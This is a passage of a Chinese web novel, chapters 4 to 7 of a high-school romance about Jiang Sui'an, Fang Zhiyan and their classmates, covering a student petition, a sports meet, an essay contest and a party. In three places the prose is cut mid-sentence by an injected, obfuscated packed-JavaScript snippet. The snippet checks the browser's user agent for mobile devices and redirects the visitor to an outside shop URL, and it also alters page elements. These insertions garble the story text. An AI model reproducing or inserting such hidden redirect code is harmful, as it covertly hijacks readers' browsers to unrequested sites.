她们拿到数据正愁分析工作量太大时,夏静雯一拍脑袋道:“我知道有一个人能帮我们!” 她拿出手机给蒋翼铭发了消息,让他来重逢书店,说是有重要的事情请他帮忙。 蒋翼铭喜欢搞数据分析,会用很多奇奇怪怪的姜岁安从未听过的软件来处理统计问题,啥stata、spss这种界面宛若上世纪老古董的东西。 夏静雯与他是同班同学,据说还是青梅竹马,深知他的能力,于是请他帮忙做了一个趋势的量化图,甚至还做了个“考试密度”和“成绩浮动”的相关性检验。 按理来说,对数字这么一厢情愿的人应该会选择理科,但架不住家里两代都是公务员,铁了心让蒋翼铭走政治这条路。他本人文科并不是很好,全靠一科和竞赛生平起平坐的数学在文科班里一骑绝尘。 “你们做这个干什么?” 夏静雯把事情的来龙去脉告诉了他。 “你们真敢啊,”蒋翼铭有些兴奋,他眼睛睁得圆圆的,先看看夏静雯,又看看姜岁安,说,“夏静雯是不是你蛊惑了姜同学?” 夏静雯手指指向自己,五官凝滞:“我吗?” 姜岁安说:“是我找的静雯,你要是害怕被牵连,我们也不强求。” 蒋翼铭连连摇头:“不不不,我不是这个意思,我是说,我当然愿意加入你们。” 姜岁安与夏静雯面面相觑。 夏静雯早跟她说过,凑热闹和装英雄这样的事,怎么也少不了他的。 4. 花落马(四) 两天后,几张签着学生名字的请示书安静地躺在李主任的办公桌上。 姜岁安和夏静雯很刻意地把落脚点踩在了“提高学习积极性和有效性”上,因为只有这样,她们的“上书”理由才能在领导面前站住脚。 但她们的议论也并非空穴来风。 这几个星期以来,许多老师都向李主任反映了这个问题,她也一直在反思自己推行的教学模式到底哪里出了岔子。 她有为此做出决策性的改变,只不过一切都还在计划之中,并可能会持续性处于计划之中,而来自学生的这一场无声的“反抗”,碰巧点燃了引线。 她软硬不吃,吃道理。 姜岁安和夏静雯写的诉求和理由,她都仔细琢磨了一遍。 她倒不生气,而是惊讶,她们的逻辑和思维很严谨,也很理智。她们似乎不是站在一个个体学生的角度上在谈这件事,而是站在了管理者的角度上。 翻过背面,复杂的情绪涌上她的心头,李主任叹了口气,脸红了大半。 这一个个字体大小和风格各异的名字让她彻底看清了学生的态度,也让她彻底看清了一个事实——她不能将一个看似成功的模式原封不动复制到一群自由的小鸟身上。 一中作为汐城的重点高中,原则上秉持“学生德智体美劳全面发展,个性化教学模式”的原则,这个原则之下,培养了大批在各行各业闪闪发光的优秀青年,高考成绩也在全省名列前茅,虽比不上李主任之前所在的学校,但也是毋庸置疑的名校。 李主任之前所在的是隔壁市的重点中学,采取着强硬的传统应试教育模式,过程很残酷,结果却不差,以至于她在很长一段时间里都把这种模式奉为圭臬。 或许,她确实要把一中和自己之前所在的军事化管理学校区别开来。 但她对“越级”这件事有些抵触,认为学生不应该跨过班主任直接找到自己这里,于是把夏静雯和姜岁安找来批评了一通。 姜岁安和夏静雯两人站在她的办公桌旁,大气都不敢喘。 在最后,她从打印机里拿出了一份文件给两个女孩。 姜岁安和夏静雯对视一眼,以为是处分通知单,两个人脸色煞白,但还是从她手里接过了这份文件。 “关于同意学生部分请示的批准书……”姜岁安默念出声,有一瞬间怀疑了自己的眼睛,但却没怀疑自己的耳朵——夏静雯大声地说着“谢谢老师”。 她惴惴不安的心落地。 李主任说:“很欣赏你们的勇气,也希望你们把这份热情带到以后的学习和工作上……还有,不要让我知道你们是在上课的时候搞的这个。哎——过来在批准书上签个字吧。” 姜岁安和夏静雯乖乖在“学生代表签名”的横线上一笔一画地写下了名字。 两人推开办公室的门,见到围在她门前密密麻麻的人头,有点不知所措。蒋翼铭指挥着众人给夏静雯和姜岁安让出一个位置,凑到夏静雯身边问:“班长,情况如何?” 夏静雯拍拍她,姜岁安把身后的文件拿到胸前,将大大的标题摆在他们面前。 金色的光芒透过斑驳的树叶洒在少女的手上,那黑色加粗体的文件宣告着意气风发者的胜利。 方知言远远地站在一旁,听人声鼎沸,看热闹喧嚣。 好像有那么一瞬间,姜岁安和夏静雯的动作在他眼里放了慢倍速,而这种场面,他似乎只在梦里见过。 “安静点,赶快回班,不要在这里聚众喧哗!” 李主任从办公室里探出个头,严肃地警告着众人。 热闹的人堆似桌球般被一杆母球打散,人影憧憧,各自逃窜,东西南北——但每个人的脸上都挂着得意而张扬的笑脸。 姜岁安瞥见方知言站在阳光下,朝他望去,用眼神代替了交流。 她转身准备回教室,没见到方知言眼眸里明朗的笑意。 蒋翼铭单方面封夏静雯和姜岁安为“一中女豪杰”,该事件史称“姜夏起义”,口号是“一中兴,姜、夏王”。 夏静雯知道后骂他“有病”。 姜岁安知道后,眼睛狡猾一眯,笑着问他为什么“豪杰”前还得加个“女”。 蒋翼铭立马改口称二位是真真正正的“豪杰”。 有了李主任的口谕,运动会将如期在十月的末梢而至。 姜岁安高二时是校园新闻报的学生责编,负责校园新闻稿件的初审和校对。 高二下学期时,她就已经在换届大会上把这个岗位传给了下一届的学妹。 毕竟除了方知语一般的传奇人物,高三的学生一般都会因为学业压力而主动辞去学生和社团工作,这似乎已经成为了一个约定俗成的规矩。 校运会的前夕,学妹找到她,想请她帮忙。 “学姐,今年招新的时候卡得太严格了,现在文记的人手实在不够,可以麻烦您帮忙采访一些运动员吗?”学妹双手合十,眼睛明亮而纯粹,带着期待的目光向姜岁安发问。 姜岁安很爽快地就答应了,出于关心,她问道:“你们的策划案写好了吗?确定要采访谁了吗?” “我们打算每个项目都选一个优秀运动员代表,不限年级,但是具体成员还要等校运会正式开始之后才可以确定,不过我们分好了田赛和径赛的小项负责……”学妹从文件夹里拿出了一份策划案,翻开后递给姜岁安,指了指表格里的空白处,挠挠头对她说:“还剩跳高和跳远没人采,所以就要麻烦学姐了。” 姜岁安低头快速地扫了一眼,一副“明白了”的样子,她看了眼手表,指了指挂在墙上的闹铃示意学妹快要上课了。 学妹道了一声谢,马尾一跳一跳地下了楼。 …… 第二日的清晨,初秋给世界染上一丝燥热中的清爽,阳光下的一阵毛毛雨唤来了许久未出现的彩虹,一切都像是上天刻意安排好的。 开幕式定在上午九点,不设早读与早课,学生们大多都在宿舍补觉。姜岁安起得早,蹑手蹑脚地接了一盆水用于洗漱和冲厕所,背着相机跟宿管阿姨报了备就一路小跑地去了操场。 彼时的操场上除了一些提前来热身的运动员和志愿者之外,还没什么人。她带着学妹给的记者证,手捏着粉笔蹲在各项目比赛场地的观赛区域画圈,示意这是校园新闻社的拍摄机位。 姜岁安在校园新闻社当学生责编的时候也会经常帮忙配合其他部门的一些工作,所以她有提前采景和抢机位的习惯。 最后一站来到跳高场地时,她看到了正在热身的方知言。 她知道,方知言是连续两年的跳高冠军,所以他出现在这里,她并不奇怪。 姜岁安静静地在一旁看他,拿出相机,把他装在了小小的取景器中。 方知言从侧边起跑,微微屈膝。清晨的温度还有些凉,他没有脱掉运动背心外罩着的外套,身体裸露的地方集中在下肢,这显得他的腿长而有力。 他像一阵风似地从姜岁安面前掠过,掀起她面前的发丝,助跑道上扬起细小的尘埃,接近横杆时,他整个人像被外力抽走似的,身体腾空而起。 方知言的腰部在空中发力,带着背部向后弯曲,晨光描着他的身形,如那弯弓弦月。 这一跳是只存在于她眼里的。 “嘭!” 姜岁安见他轻盈地在垫子上翻了个跟头就站了起来,眼睛忽地聚焦在了那纹丝不动的横杆上。 她问:“方知言,有兴趣接受我们校新闻报的采访吗?” 方知言来到她身边,问:“需要我说什么呢?” 姜岁安哑然,内心念叨着:当然是你想说啥说啥呀……但她脸上还是摆着一副十分客气的样子,客套地回复并加以鼓励:“根据问题回答就行了,因为我相信你今年肯定还是冠军,就提前来打招呼了。” 方知言听不得这恭维话,一抹红从耳根爬到耳尖,像是开玩笑又像是认真地询问:“那如果我不是呢?” 姜岁安实在不知该说些什么,于是拍拍他的手臂,双手抱拳摆出了“拜托”的姿势,说:“加油!” 此时操场上人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276475|198269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经多了起来,姜岁安小跑出去没几步,就回头对他说:“等你好消息!” 那阳光突然剥开云层照在了她脸上,微风粘起刘海在空中轻轻晃,她左手扶着相机的背带,右手朝他挥手示意短暂告别。 在方知言眼里,她的动作逐帧播放,清晰又明媚。 姜岁安自动认领“没有运动细胞”的身份,毕竟体育中考是踩着点满分的,于是便主动负责班级后勤和运动员的接应。 但是陈建材这个没有眼力见的,拉来了陈峰这个吊儿郎当的跟自己一起。 陈峰想的当然不是为班级服务,而是回班开空调休息,顺便偷偷玩会儿白板,看看球赛或者听听歌、刷刷视频都比在太阳底下愣坐着要好。 班主任让姜岁安和陈峰回班级拿运动饮料的时候,她听见校园广播里回荡着这样的声音:“祝贺高三文科一班方知言同学打破方知言同学的跳高纪录,现学校男子跳高纪录刷新为一米八三……” 何佳没有报任何项目,也没有下去看比赛,但在听到广播的时候还是忍不住趴在窗上向操场望去……即使她根本看不见那远方的场景。与姜岁安同行的同学陈峰在把一箱运动饮料搬出教室后没忍住,悄悄嘀咕了句:“这么爱学也没见考多好……” 姜岁安假装没听到。 何佳听到了。 “啪!” 她冲出来给了姜岁安身边的陈峰一巴掌,陈峰一生没受过这种侮辱,被她打得愣在原地。他被手上的箱子束缚着,虽想发作但自知理亏,只能用不可置信和愤怒的眼睛瞪着何佳。 何佳问:“我在这里学习跟你有什么关系吗?” 姜岁安瞟了陈峰脸上渐渐浮出的巴掌印,只觉得他活该,但她也没想过何佳会因为一句话而动手打人。 兔子被逼急了也是会还手的。 陈峰不愿动手挨处分,但嘴上依旧不依不饶:“是没关系啊,不过你穷也跟我没有关系,这么努力也挤不进一班的吊车尾跟我也没有关系。” 何佳的脸白一块,红一块。 姜岁安手上突然卸力,往后轻轻跳了一步,对方没反应过来,那一整箱运动饮料就这样砸在了他脚上。 “啊——姜岁安!你他妈故意的吧?你不知道我……” “啊对不起对不起,刚刚有只虫飞到我鼻子上,我手就滑了,甲沟炎的话你赶紧去校医室吧……真的很抱歉!”姜岁安假惺惺地道歉,拿手在鼻子前扇了扇,佯装无辜地望着他带麻的脸。 看着陈峰这一坨肉一瘸一拐地下楼,目的达成后的姜岁安也不想与何佳多说什么,毕竟这两人都不是什么善茬,她只想快速地逃离这修罗场。 陈峰,据说父亲是哪里的官,因而总在学校里横行霸道,但都是干些欺软怕硬的事儿。 自诩智商出众,向来瞧不起何佳和方知言这样的乖乖学生。 而姜岁安呢,最瞧不起他这样的人。 姜岁安弯下腰,抱着一整箱水往操场走。 她一个人要搬一整箱水到操场还是有些不容易的,没一会儿人就走得歪歪斜斜。何佳从姜岁安背后蹿出来,沉默地端起那箱子的一角示意她放点力。姜岁安说了声“谢谢”后,她们之间便再无交谈。 何佳虽觉得她在可怜自己,但毕竟不愿欠姜岁安人情。 太阳很大,何佳突然问了句:“姜岁安,你这样的人,会害怕太阳吗?” “什么叫‘我这样的人’?” 何佳不再说话了。 何佳也并没有踏入体育场,半道便把姜岁安甩走,让她一个人把水抬过去。 姜岁安在心里骂了她一句“神经”,好在半路上遇到同班同学,便草草转手了这箱水,从兜里翻出记者证就去工作了。 姜岁安应约再见到方知言时,已是落日傍晚了。 “抱歉,来晚了。”她伸手把领子上的扣子扣好,免得方知言觉得自己是个混混。 “不用抱歉,本来就是在等你。” 姜岁安脑子白了一瞬。 只是一瞬。 5. 花落马(五) 云层悄然铺开了,城市高楼大厦的影子被盖在淡淡的紫与橙下面,他上午的比赛已经结束了,现在重新换上了校服在约定好的地方等她。 没有多余的寒暄。 方知言看着她从帆布包里翻出笔记本和录音笔,梧桐的一片叶子落在了她头上,见她没感觉到,就伸手为她弹去了。 姜岁安身体往后一滞。 “抱歉,我看有片叶子在你头上。” 姜岁安尴尬地笑笑,对方知言说:“那我们就,开始?” 她将他的点头视为开启的讯号,问:“请问破纪录后你的心情如何呢,”方知言皱眉,有些别扭。姜岁安以为她害羞,便安慰道,“方知言,害羞啥,你只管说就行,我做你最忠诚的听众。” 他回答:“觉得像是完成了某一种任务一样,说不上开心,但也不难过。” 姜岁安对他的反应感到挺讶异的,听到这番话,她内心疲于应付形式主义的倦怠消磨了大半,对眼前人的情愫更多是好奇。 她笑着问:“那请问方同学,你练习跳高的初衷是什么呢? 方知言回答:“是我父亲为我选择的,钢琴也是……我这样说的话,算是无效回答吧。”方知言其实不傻,他知道姜岁安作为校园新闻的文记想要的答案是什么,但这就是他内心最真实的想法。 人人都会撒谎,但不是人人都有勇气说真话。 他从校服口袋里摸出一张折好的A4纸,对她说:“我这里写了一些比较官方的话术,足够你们撰写稿件了,但我说这些只是希望,至少有人能知道真相。” 姜岁安接过这张纸,收在了口袋里,把录音笔关上了。 “方知言,我喜欢听真话。” 这句话轻飘飘落在方知言的耳蜗,那炽热的目光落在姜岁安的眉眼之上。 他说:“谢谢你。” 可他却没有透露更多信息。 姜岁安为方知言准备了两份稿件,第一版是根据他说的写的,第二版是根据他写的写的。 她已无权干涉校园新闻报的审稿,所以在后来发行的校报上看到方知言那一栏下面的第二版稿件,还是有些失落。 她想:如果人们连讲真话的权利都没有的话——那世界上的谎言也需要重新定义了。 路过架空层,路过优秀学生风采展上的方知言,姜岁安情不自禁多留意了一眼。他在“人生格言”这一行写:决定要做的事情,无论如何,都要拼尽全力。 她在心里揣测他的故事,但这个念头很快被繁琐的日常打消了。 二班的座位一月一换,抽签决定,但也可以协商交换。 姜岁安九月在里边靠窗,十月往前挪了一个位置,十一月又被安排到走廊靠窗,她有些怀疑自己中了什么“魔咒”,但还是默默地把沉重的书箱一个个从这头拖到那头。 桌椅摩擦地面的声音不断,“吱——吱——轰——轰——”的声音充斥着班级。 方知言不知什么时候站在了二班的门口,他白皙修长的手指敲了敲窗,目光锁定在姜岁安身上。 空气窒息了一瞬,包括姜岁安在内,大家都有些疑惑。 姜岁安左看右看确定他找的人就是自己时,有些迟疑,但还是小跑出去。 有同学扎堆儿地起哄姜岁安和方知言,声音不大,但他们刚好围在何佳座位旁边,于是她将他们的话语尽收耳中。 她起初并没太在意,甚至觉得姜岁安出现“早恋”苗头对自己来说是件好事,直到他们嘴里蹦出“书呆子”三个字时,她呼吸一滞,僵着的身体依旧站着,机械地转头朝门口望去。 “何佳,往前挪一挪我要过去。”等着把课桌推到另一头的同学见何佳没有动作,提醒她自己要过去。 她收回了自己的视线,听觉却灵。 “方同学,你有什么事吗?”姜岁安问。 “陈老师在我们班经常把你的作文当范文,我想找你借答题卡学习一下……之前和你不太熟,所以一直没好意思开口。” 姜岁安无奈地笑笑,想着这人有求于她也不先献献殷勤,但还是决定借给他:“就为这事啊,不过我现在在换座位,你稍等我一下啊。” 方知言意识到自己的“不请自来”打扰到了姜岁安,于是说了一句“对不起”,主动跟着她进班,帮她把地上滑落的教辅和练习册拾起。 姜岁安有整理试卷的习惯,换好座位后在桌屉里翻了几下就拿出了一沓语文答题卡,她说:“高二下和从开学到现在的都在这里了,你看看这些够吗?” 他双手接过她单手递来的白纸黑字,点了点头。 …… 姜岁安的字飘逸有力,方知言看得出来她练过行楷,但似乎又不想拘泥于一个田字的方寸之间,于是苍劲而多了些连笔和笔锋,像是醉了酒的侠客。 却不像李白,因为没那么浪漫、那么不羁、那么置身事外。 醉里挑灯看剑。 不知道为什么,他忽地想起这句。 他不是有意要乱翻她的答题卡,但汐城五校九月开学联考这份答题卡上某处大大的“0”让他无法不在意。 他端详着姜岁安的零分答案,嘴角上扬,眉心微蹙。 他起初觉得她有些傻,又突然不觉得了,再思索一阵,便又觉得这姑娘傻得可以。 他将自己的思绪重新整理好,认真地分析了姜岁安的作文。他将自己的一些疑惑和请教写在便利贴上,贴在了姜岁安的答题卡上,期待着她的回复。 姜岁安一条条对症下药回了他,最后留下了一句话——可以帮我讲一下数学题吗? 他心想:她必定是要从我身上薅些好处的。 于是方知言约她周末在重逢书店见面。 重逢书店坐落于姜岁安“上学——回家”两点一线的必经之路上,这是一家书咖,也提供咖啡和奶茶的服务。 …… “你把这个丹德林双球和圆锥曲线的组合变成平面再解,不然立体图会让你的思路很乱。”方知言先拿铅笔在那副立体视角的图旁迅速画了一个椭圆,让姜岁安对着原图把已知点的关系和数据标上去。 姜岁安经他这么一点拨,茅塞顿开,没等他再继续说些什么,顺着题目的要求,很快写到了最后只剩计算的步骤。方知言没有打断她的思路,坐在对面把自己放空,没有过分关注,也没有不负责任地耍手机。 姜岁安盯着那长得及其扭曲的数字,心里咯噔一下,她可不想在今天的第一道多选压轴题上栽了。方知言看她动笔写下“AD”后还加了个小问号,在她对面平静地开口:“对了。” 果然,答案越怪越对。 方知言说:“你给我的试卷我都看过了,丢的分大多都可以靠训练来获得。你应该是还没找到每一种题型的套路和方法,每次考试都把题目都当作是全新的,联想不到母题,总想另辟蹊径,成绩波动就比较大。然后计算上面有点弱……不过我觉得,稳120分还是很有可能的。” 他的锐评直击靶心,姜岁安耳根子像被煮过一样烫,因为方知言说的,就是她一直以来的问题。 不过她还挺乐观,觉得方知言最后一句是在夸自己“底子好”。 他从包里拿出了一个厚厚的笔记本,放在桌上推到她面前:“这里是我整理的各种题型,你可以借鉴一下,但回去还是要自己整理。现在还有大半年的时间,从八九十提到一百二,肯定是不迟的,”他挠挠头,有些不好意思地开口,“虽然方法有些笨,但总得来说,只有通过归纳整理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276476|198269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,真正明白每一种题型背后的底层逻辑和各种设问方法,在考场上才不会手足无措。” 姜岁安问:“这不就是题海战术吗?” 方知言回她:“不算,这个习惯对题目的要求在精不在量,不用做过多的无用功,会举一反三就行。” 姜岁安似懂非懂地点头:“这样啊,那可以借你的笔记本让我琢磨两天吗?” 坐在那头的人眉峰挑起一个不易察觉的弧度,逗她:“可以啊,把这张卷子做完先。” 姜岁安内心暗暗惊讶:合着原来是个闷骚的腹黑怪,亏我之前还觉得你乖,居然在这里给我使心眼子。 她眼珠子一转,方知言尤觉不妙,离她远了些,于是姜岁安嘴里轻飘飘的气落在了空气中,和周围甜品与咖啡的香气融为一体。 他的得逞让自己的声音都染上了气腔,想笑又怕冒犯她,可却因为喜欢赢的感觉,于是不自觉地问:“干什么?” 姜岁安:“吹刘海。” “吹干了吗?” “……” 晚上回到家时,她认真地翻着方知言的数学笔记本,发现他高二上学期时用铅笔写下的抱怨忘记了擦去——“我不是‘书呆子’!!!” 姜岁安心里麻麻的,像是知错的小偷,快速翻走了这一页。 …… 汐城的天气已是进入了要带围巾的冷度,穿过校园的廊道,迎面的风更加猛烈地吹着。 陈建材带来了好消息。 国庆写作比赛的成绩历经约一个半月,结果出来了——姜岁安和何佳一等奖、方知言和夏静雯二等奖、蒋翼铭三等奖。 姜岁安没问任何一个人有关文章的内容。 何佳抽到的题目是“故乡”。 这对于她来说,是个无比沉重的字眼。“故乡”不是“愁”、不是“美”、更不是“念”,而是一种化为动力的“恨”。她恨那一重重山和水,正因为它们,自己自出生起就被时代落在了身后。她恨文人笔下那虚幻飘渺的“美丽”、恨不平等的教育条件、恨重男轻女的落后思想……她唯独不恨自己,因为她知道自己付出了多大的努力才来到汐城的市中心,才来到汐城一中,才坐在这里与姜岁安、方知言这样代表“天赋”和“资本”的人一同竞赛。 她能在这里,本就耗费了无数的努力和气运。 如果有朝一日能买到去往任何地方的船票,她第一要逃离的,就是“故乡”。 何佳的笔发狠地落在格子里,一笔一画地扯着笔尖印下墨痕——《出逃的女孩》。 得知结果的何佳找到陈建材,问他能不能不让主办方把自己的文章放到官网上。 陈建材疑惑而犯难——按理来说,大家都想要争这样一个荣誉,而且这种比赛里的文章版权已经不归作者所有,而归主办方所有了。 他和何佳都没有决定文章去留的权利。 但他知道,这文章里应该是写了些她不愿让别人知道的事情,出于对学生的保护,他还是答应了何佳,并联系了主办方的负责人。 沟通的过程其实并不顺利,因为他的诉求实际上是一种违约行为。 陈建材无法“晓之以理”,只能“动之以情”。 好在,评委会的成员站了出来帮陈建材说了话,这事也就这样拍板决定了。 “我们要尊重每个小作者,所以,破格一次吧。”评委会中的S大文学博士说。 她是何佳文章的终审评委,她从她的文字里窥探到了小女孩不愿把这篇文章放到公众的原因——摇摇欲坠的自尊不能因规则而被摧毁,荣誉也不应该打着“赞赏”的名义成为压死骆驼的最后一根稻草。 如果人们不想让自己的“恨”公之于众,就让它尘封在墨与纸的交缠中吧。 6. 花落马(六) 优秀的获奖文章被打印出来张贴到了架空层光荣榜上。 人头攒动。 “姜岁安是唯一一个一等奖啊,好像还是一等奖最高分……” “不是啊,AAA建材陈哥不是说何佳也是一等奖吗?不过这里为什么没贴她的?” “都何佳了,她的东西谁能看到,人家喜欢‘躲进小楼成一统’……” “那谁文字功底也很强啊,字也好看……我一直以为他只会死读书的。” “理科班的同学写的科幻也很有那味啊。” …… 姜岁安路过,只轻瞟了一眼那墙——她的文章在高处居中——便沉默地将身子从人堆里挤牙膏一样滑了出去。 上楼梯的时候,她遇到了正往下走的方知言,两人的目光对上,好像东风吻上蝴蝶,只一瞬,了解意,就告别。 擦肩而过后,他的声音从她后背挂上耳畔:“姜岁安,厉害。” 她走过去时,空气里留下了不知是洗衣液还是衣物香薰包染在校服上的天竺葵香。 随着气味席卷方知言五官的,是姜岁安回应。 她说:“大家都是。” 都是有故事的人。 她还没坐热凳子,隔壁的夏静雯就从后门偷偷溜了进来,拍拍她的背,把姜岁安吓了一跳。 夏静雯邀请她去聚一聚,吃吃喝喝玩玩。 姜岁安想了想,便欣然答应了。 她问:“人我都熟吗?” 夏静雯扶额思考,盯着姜岁安的眼睛:“应该吧。” “诶,禁止串班啊,赶紧回去了。”不知何时站在讲台上的陈建材说。 夏静雯这个风一样的女子“嗖”一下飞走了。 不知是雪随秋末,还是秋末随雪,总之,汐城的第一场雪献给了节气小雪。 应景得很。 空气中弥漫着淡淡的香气——糖烤栗子的焦甜、热巧克力的醇厚、街角面包店里肉桂卷的飘香…… 姜岁安穿了一身红色千鸟格长裙,戴着白色的绒毛边斗篷,穿梭于汐城城市的褶皱之中,前去赴约。 夏静雯说,作文小组要聚在一起庆祝一下,除了“姜何方蒋”四人,她还请了一些大家都认识的同学,他们约定在一家西餐厅的小包间见面。 夏静雯当然也邀请了何佳,不过被拒绝了。 何佳那双忧郁又锋利的眼睛在夏静雯说话的时候,就那样平静地望向她的脸,带着一丝不耐烦和警惕,这让夏静雯感到十分不悦——她总算是知道了,为什么姜岁安在比赛时宁愿与外班的她讲话,也不愿与同班的何佳交流。 她本以为,这个聚会里小组的人大概率只剩下姜岁安和蒋翼铭会来,但没想到,方知言也答应了邀约。 难得一见,但也有可能,方知言本就不那么缄默无趣,夏静雯这般想着。 姜岁安率先叩门而入,见夏静雯正摆弄着桌面上的水果。 同学们陆陆续续也都来了。 不知怎么,姜岁安的心和脑总指引着眼往某一方探去——方知言在人群里格外显眼。他被打理好的发丝每一根都摆在恰好的位置,眉清目秀,嘴唇微抿,唇贴着铝制易拉罐的边,顺着望去,沿端着饮料的手……看着有些奇怪。 姜岁安发现,他的小拇指与无名指总会无意识地拉开距离。 后来她问起方知言这件事,他说,这是小时候手指比较短,弹钢琴够八度时养成的习惯。 十余人围坐在一起,狼人杀、三国杀、真心话大冒险……这些游戏都玩了个遍。 姜岁安永远忘不了,狼人杀时方知言的操作——他身为一匹狼,至始至终把自己当好人牌玩。 以至于狼堆在主持同学重复了好几句“狼人请睁眼”后,差点“误杀”了他——至于为什么没“杀”,是因为以姜岁安为首的女子狼群决定要留给她们认为的“新手玩家”一点游戏体验。 好人阵营在夏静雯“预言家”的带领下,很快把姜岁安和另外一匹“狼”揪了出来,正当好人阵营准备半场开香槟时,主持人微微一笑,没有发布游戏结束的口令。 于是,大家在误投了一个“略显紧张”的平民后,觉得是夏静雯跳“预言家”来迷惑了众人,加之方知言幽幽开口跳预言家,大家在惊叹她玩法的同时,也把她送了出去。 夏静雯哑巴吃黄连——有苦说不出。 可游戏依旧没有结束。 依旧没有结束? 依旧没有结束! 在场的人随着一句幽幽的“天黑请闭眼”后缓缓闭上了眼睛,虽是游戏,但他们的后背居然渗出了冷汗,好似那窗外细细的雪花被灌入衣装,抖一抖,凉飕飕,刺挠挠。 “狼人请睁眼。” 方知言缓缓睁开眼睛,指了指身边的蒋翼铭,示意今晚杀戮的人选。 玩得真脏——“挂了”的几人在场下将他的举动尽收眼底,无奈地感叹。 “女巫”已无药、“预言家”和“猎人”已下场、剩余的“平民”瑟瑟发抖——“狼人”按捺喜悦,故作深沉。 “恭喜狼人阵营获胜!” 现场一阵哀嚎。 姜岁安与身边同为“狼人”的女孩击了个掌,两人又一人一只手伸向方知言,示意他庆祝一下。 姜岁安笑意灿烂,吐槽方知言:“方同学,玩得真脏,以后玩游戏大家肯定会对你留好多个心眼的。” 他笑了,笑如蜻蜓点水。 大家并没有因为这件事情对方知言心存芥蒂,相反,他们发现方知言是个有点小坏但很好相处的人,没什么端着的架子,于是与他的交流也多了起来,甚至会一起开他的玩笑。 “方同学,到底怎么学习啊?” “多复盘。” “方同学,有过喜欢的女生吗?” 他礼貌地笑笑,摆摆手:“没有。” “言哥,啥时候约着一起打球呗。” “好。” …… 就在大家聊着的时候,服务生端着食物敲开了房门。 吃饭的时候,夏静雯问大家:“话说大家的目标院校都是什么呀?我先来吧,我其实——想考警校,倒不是因为方便体制内,而是因为我确实想为这个社会做些什么。” 姜岁安眸光一滞,眼底浮现出淡淡的诧异,但一个声音闪击了她的脑袋——“成绩好的目标为什么一定是所谓名校?” 但似乎有人没加思考,就赤裸裸了问出了自己的疑惑:“静雯成绩这么好,为什么要去警校呢?” 夏静雯笑了笑,眼里闪过一丝难以被捕捉的失落:“算是为了完成哥哥未完成的事业吧,他……因公殉职了。而且全国最好的警校在汐城招女生太少了,我必须保证自己的成绩在前面,毕竟优秀的women选择很容易撞的。” 没长什么心眼的姑娘问:“哥哥是为什么牺牲了呀?” 夏静雯的表情凝固了一瞬,随后化开,没等她开口,蒋翼铭就站出来给她解围,立马将话题拉了回来:“我的目标是S大的行政管理,但其实我的第一目标是数学系和计算机系,不过已经选了文科了,就不再幻想了……知言我知道,他肯定是S大法学系。” 方知言抿了一口可乐,微微点头。 姜岁安右手撑脸,说:“我应该是A大的新闻学吧。” 有人问姜岁安,为什么不是文学系,她只说自己不适合。 方知言听着少女的箴言,手指摩挲着桌布,他的脑海里浮现出姜岁安采访时对他说的话——“我喜欢听真话”。 “我应该B大,B大的伙食很好,至于什么专业就不知道了……不过我对物理师范还是很感兴趣的。” “我们这没人想学医嘛?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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无声的,一个来自鼻尖温柔的触碰蜻蜓点水般落在了女孩白皙的手背上。 姜岁安心里的石头落了地,她碎碎念骂自己脑袋被驴踢了,想了些什么少女情怀总是春的桃红罗曼蒂克情节——天哪,方知言当然不会吻她嘴唇。 停停停……这也不能叫“吻”吧。 没等姜岁安缓过神来,那温和的触感转瞬即逝。 男孩青涩又成熟地向少女表意崇敬和尊重。 方知言的鼻息比他的手掌冰,比雪花暖。 姜岁安的手背麻了。 众人呆愣许久,最后是在蒋翼铭的提醒下才开启了起哄的技能,最后是夏静雯挺身而出救两人于流言蜚语之中。 与大家分别的时候,抬起来挥手时也软酥酥的,小雪的风一吹,那被吻过的一小片皮肤,从血液里生出痒意。 心也痒痒的。 她打心眼里觉得方知言铁定不是什么乖孩子类型的善茬,直觉告诉她,那就是只双面羊。 姜岁安后来是跟方知言一条路走的。 她问他为什么要这么做。 他说对不起。 她说她没有责备谁的意思,只是觉得有点奇怪。 他还是只说了一句“对不起”。 站在十字路口的分叉处,姜岁安粲然一笑,拍拍胸脯,说:“别道歉了,道歉像是真占了我什么便宜一样,你放心,我大度得很。” 一阵风吹来,姜岁安的手背又突然狠狠地刺挠起来,麻麻的,僵硬的,惹出一身寒颤。 方知言突然说:“我们是不是还没正式打过招呼?” 姜岁安站在他面前沉思一阵,笑面盈盈,想看看他葫芦里卖的什么药,戏谑道:“是的呢。” 他说:“很荣幸认识你,姜岁安同学。” 荣幸? 为什么要用“荣幸”? 姜岁安眼睛一眯,手上的酥麻瞬间流向胸膛,她说:“不胜感激。” 7. 她自雨疏风骤来(一) 你自雨疏风骤来,可惜自古有雨无月。 所以,还是月色与情般深的好,亲爱的,你不必见我,就赚得满眸月光。 | 别人知道的、不知道的——方知言从来不是什么天之骄子。 他从一路的汗和泪里走来。 方家的孩子在幼儿时期接受的是私人教育,到了小学才与正常的孩子们一样步入“优胜劣汰”的九年义务教育。 